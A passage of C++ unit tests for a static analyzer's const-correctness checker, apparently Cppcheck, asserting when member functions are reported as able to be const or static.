checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n 